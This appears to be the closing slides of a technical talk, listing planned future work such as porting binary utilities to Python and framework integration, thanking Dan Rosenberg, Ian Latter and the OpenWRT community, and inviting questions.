▪ Port all binary utilities to Python for OS agnosticism

▪ Integration with other frameworks?
Thank You

▪ Dan Rosenberg (vulnfactory.org)

▪ Ian Latter (midnightcode.org)

▪ OpenWRT community (openwrt.org)
Questions?